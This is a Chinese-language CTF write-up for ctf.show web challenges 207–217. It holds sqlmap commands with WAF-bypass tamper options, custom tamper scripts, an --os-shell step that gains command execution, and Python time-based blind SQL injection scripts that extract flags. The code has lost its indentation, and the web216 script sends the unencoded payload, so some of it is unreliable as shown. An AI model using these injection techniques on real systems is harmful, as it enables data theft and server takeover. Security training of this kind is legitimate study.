所以我们此题指定--tamper="space2comment.py"即可,其余与前面一致(其实加不加也没事,加了跑的速度更快)
查询表名
sqlmap -u http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=nks7t4vn0vc4drsr163o9a9hr0" --safe-url="http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py" -D ctfshow_web --tables --batch

发现ctfshow_flaxca表
查询列名
sqlmap -u http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=nks7t4vn0vc4drsr163o9a9hr0" --safe-url="http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py" -D ctfshow_web -T ctfshow_flaxca --columns --batch

发现flagvc字段
读取flagvc字段的值
sqlmap -u http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=nks7t4vn0vc4drsr163o9a9hr0" --safe-url="http://93fa90e3-8fc2-4d65-87c4-e52d0abdd941.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch

成功获取flag。
web208(--tamper绕过waf2)

这一次将select给过滤了但是并没有说不区分大小写,其实可以大小写绕过(sqlmap内置有 randomcase.py,可以随机大小写)。
其余的与前面的一致。
查询表名
sqlmap -u http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=5pslioc03kcqbk0n00tkpqv1so" --safe-url="http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,randomcase.py" -D ctfshow_web --tables --batch

发现ctfshow_flaxcac表
查询列名
sqlmap -u http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=5pslioc03kcqbk0n00tkpqv1so" --safe-url="http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,randomcase.py" -D ctfshow_web -T ctfshow_flaxcac --columns --batch

发现flagvca字段
读取flagvca字段值
sqlmap -u http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=5pslioc03kcqbk0n00tkpqv1so" --safe-url="http://35ee977f-0cc7-49ae-ae3d-71db57e1b4a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,randomcase.py" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch

web209(自定义tamper脚本1)

这次过滤了*空格与=,那么便不能用/**/来替换空格了,可以用+替换空格,用like替换等于。
对应的绕waf函数是,space2plus.py,equaltolike.py。
但是经过我的测试发现无法成功,并且内置绕过空格的现在都不好用了。我们可以自己写一个自定义的绕waf脚本。可以采用: Tab %09、换行符 %0A、回车符 : %0D 代替空格。这里我参考了my6n师傅的做法。
为了不影响原本的 tamper,在tamper目录下新建一个Mytamper目录(用于存放自定义的脚本)。然后新建一个space2tab.py(tab替换空格)。内容如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue
retVal += payload[i]
return retVal
还需要在Mytamper目录下粘贴一份tamper目录下的__init__.py。不然我们直接引用识别不到。
然后我们便可以引用自定义的脚本space2tab.py了
查询表名:
sqlmap -u http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=1a1rt6nucq9gkqo9s04lgo7stp" --safe-url="http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,equaltolike.py" -D ctfshow_web --tables --batch

发现ctfshow_flav表
查询列名
sqlmap -u http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=1a1rt6nucq9gkqo9s04lgo7stp" --safe-url="http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,equaltolike.py" -D ctfshow_web -T ctfshow_flav --columns --batch

发现ctfshow_flagx列。
读取字段值
sqlmap -u http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=1a1rt6nucq9gkqo9s04lgo7stp" --safe-url="http://1825d1e1-deff-4902-a149-bdd020caf195.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,equaltolike.py" -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch

web210(自定义tamper脚本2)

这题会对我们的payload进行两次base64解密+反转。
所以我们需要自定义一个tamper,对我们的payload进行反向操作,就是先反转再加密再反转再加密。
我在Mytamper下新建了一个strrev+base64en.py(自己不会写tamper脚本可以直接让ai帮忙写)
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()
return retVal
其余的与前面没区别
查询表名:
sqlmap -u http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=p65p7mig8rbud3i50a18dhbtbk" --safe-url="http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="strrev+base64en.py" -D ctfshow_web --tables --batch

成功获取表名,有一个ctfshow_flavi表
查询列名:
sqlmap -u http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=p65p7mig8rbud3i50a18dhbtbk" --safe-url="http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="strrev+base64en.py" -D ctfshow_web -T ctfshow_flavi --columns --batch

有一个ctfshow_flagxx字段。
获取字段值:
sqlmap -u http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=p65p7mig8rbud3i50a18dhbtbk" --safe-url="http://b691ca22-8956-4821-bded-eb754dcac2f5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="strrev+base64en.py" -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch

成功获取flag
web211(自定义tamper脚本3)

这一题其实就是在上一题的基础上,加了一个过滤空格。可以使用我们自定义的strrev+base64en.py和space2comment.py即可(主要要让space2comment.py在前面)。
查询表名:
sqlmap -u http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=pvlva9cl02b3sshsp7aev54g0f" --safe-url="http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,strrev+base64en.py" -D ctfshow_web --tables --batch

查询列名:
sqlmap -u http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=pvlva9cl02b3sshsp7aev54g0f" --safe-url="http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,strrev+base64en.py" -D ctfshow_web -T ctfshow_flavia --columns --batch

读取字段值:
sqlmap -u http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=pvlva9cl02b3sshsp7aev54g0f" --safe-url="http://e33c44d5-32b2-42ba-b22e-d2a02864ea73.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2comment.py,strrev+base64en.py" -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch

web212(自定义tamper脚本4)

可见又将*过滤了,这下不能使用space2comment.py了,换成我们之前自定义的space2tab.py即可。
也就是space2tab.py与strrev+base64en.py组合。
查询表名:
sqlmap -u http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=i5vs1sgtjm1v8j945lp23k7jhl" --safe-url="http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,strrev+base64en.py" -D ctfshow_web --tables --batch

查出表名是ctfshow_flavis
查询列名:
sqlmap -u http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=i5vs1sgtjm1v8j945lp23k7jhl" --safe-url="http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,strrev+base64en.py" -D ctfshow_web -T ctfshow_flavis --columns --batch

查出字段名是ctfshow_flagxsa
查询字段值:
sqlmap -u http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=i5vs1sgtjm1v8j945lp23k7jhl" --safe-url="http://1fbbbd58-3d28-42ba-901b-dfabf7302b44.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,strrev+base64en.py" -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch

web213(--os-shell一键getshell)

提示让我们使用--os-shell一键getshell
使用方式就是直接追加--os-shell。
其余的全都与上一关一致,所以在上一关payload的基础上追加--os-shell即可(这次不用查表了,直接反弹shell)
sqlmap -u http://c1062a7e-9901-48ad-8859-d0a75622ff90.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://c1062a7e-9901-48ad-8859-d0a75622ff90.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="
cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=n2kaka3tkq2v9d7lo2k49sv25i" --safe-url="http://c1062a7e-9901-48ad-8859-d0a75622ff90.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space2tab.py,strrev+base64en.py" --batch --os-shell

直接反弹shell了,可以执行命令。

sqlmap系统练习结束了,下面是时间盲注。
web214(开始时间盲注)
上来连注入点都找不到,看了b站视频我也抓不到。
自己测试了很久发现,只有改成http以后再抓包才能抓到想要的/api/的包。

同样修改为http以后用bp抓包,然后forward几下就能看见了,我们修改一下参数debug=1重新发包。

可以看到返回了查询的sql语句。找到了注入点就好办了。我们访问/api/index.php传参即可。

既然说了是时间盲注那便测试一下
ip=sleep(3)&debug=1
可以发现确实是延迟了3秒。
那么便可以通过时间盲注查询出各种信息。
ip=if(substr(database(),1,1)='c',sleep(3),0)&debug=1
发现确实延迟了3秒,这说明数据库名的第一个字符是c。
那么便可以写一个脚本:
我是用的延迟2s虽然慢总归能跑出来,1s我也试过了可行,但是家里网不好不建议拉太低。
import time
import requests
import string
url="http://e8a82a30-1bc5-46af-a21e-d36926d89a78.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询库名
# data={'ip':f"if(substr(database(),{i},1)=chr({j}),sleep(2),0)",
# 'debug':1}
# 查询表名
# data={'ip':f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),sleep(2),0)",
# 'debug':1}
# 查询列名
# data={'ip':f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1)=chr({j}),sleep(2),0)",
# 'debug':1}
# 查询字段值
data={'ip':f"if(substr((select flaga from ctfshow_flagx),{i},1)=chr({j}),sleep(2),0)",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
if(2<=sub_time<2.5):
flag+=chr(j).lower()
print(flag)
break
跑出数据库名是ctfshow_web。表名是ctfshow_flagx。列名是id,flaga,info。
最后跑出flag是

web215

可见这一次ip用但单引号括起来了。
用引号闭合前面,然后将结尾注释掉就行了。
ip=1'or if(substr(database(),1,1)='c',sleep(3),0)--+&debug=1
发现延迟3s。
简单修改一下脚本就行了
import time
import requests
import string
url="http://f92cb9da-05f0-4ad9-9f7c-0d4d0f26894b.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查询库名
# data={'ip':f"if(substr(database(),{i},1)=chr({j}),sleep(2),0)",
# 'debug':1}
# 查询表名
# data={'ip':f"1' or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),sleep(2),0)#",
# 'debug':1}
# 查询列名
# data={'ip':f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1)=chr({j}),sleep(2),0)#",
# 'debug':1}
# 查询字段值
data={'ip':f"1' or if(substr((select flagaa from ctfshow_flagxc),{i},1)=chr({j}),sleep(2),0)#",
'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
if(2<=sub_time<2.5):
flag+=chr(j).lower()
print(flag)
break
查出表名是ctfshow_flagxc,字段名是flagaa。
最终flag为

web216

本题会对接收到的ip进行base64解密,那我们传入的payload先进一步base64加密即可。
修改一下脚本
import time
import requests
import string
import base64
url="http://0fc51c14-f080-4212-b7ee-e86de132f2c4.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# 记录起始时间
start_time=time.time()
# 查库名
payload = f"if(substr(database(),{i},1)=chr({j}),sleep(2),0)"
# 查表名
payload = f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{i},1)=chr({j}),sleep(2),0)"
# 查列名
payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1)=chr({j}),sleep(2),0)"
# 查字段值
payload = f"if(substr((select flagaac from ctfshow_flagxcc),{i},1)=chr({j}),sleep(2),0)"
b64_payload = base64.b64encode(payload.encode()).decode()
# 查询库名
data={'ip':payload,'debug':1}
r = requests.post(url, data=data)
# 记录结束时间
end_time=time.time()
# 获取请求延迟
sub_time=end_time-start_time
if(2<=sub_time<2.5):
flag+=chr(j).lower()
print(flag)
break
查到表名是ctfshow_flagxcc,字段名是flagaac,最终查到flag值为

web217

发现参数被括号()包围了。
依旧尝试一下sleep
ip=sleep(3)&debug=1
可以发现并没有延时,并且返回变成空白了,说明sleep被过滤了。

那么便需要找能替代sleep的时间盲注方法了。
一共有下面这几种方式:
- benchmark(count,expr)
- 笛卡尔积
- 锁
- rlike正则匹配
这里我便尝试第一种方式
benchmark(count,expr),重复expr函数count次,我们可以利用一些MySql自带的加密函数作为expr执行多次达到睡眠的效果。具体次数要看网络情况,以及cpu情况。
经过我的测试,在我的机器上执行5000000次sha(1)所需时间是2.5秒左右
ip=benchmark(5000000,sha(1))&debug=1
那么修改一下脚本,拿他代替sleep即可
# author:木子子子
import time
import requests
import string
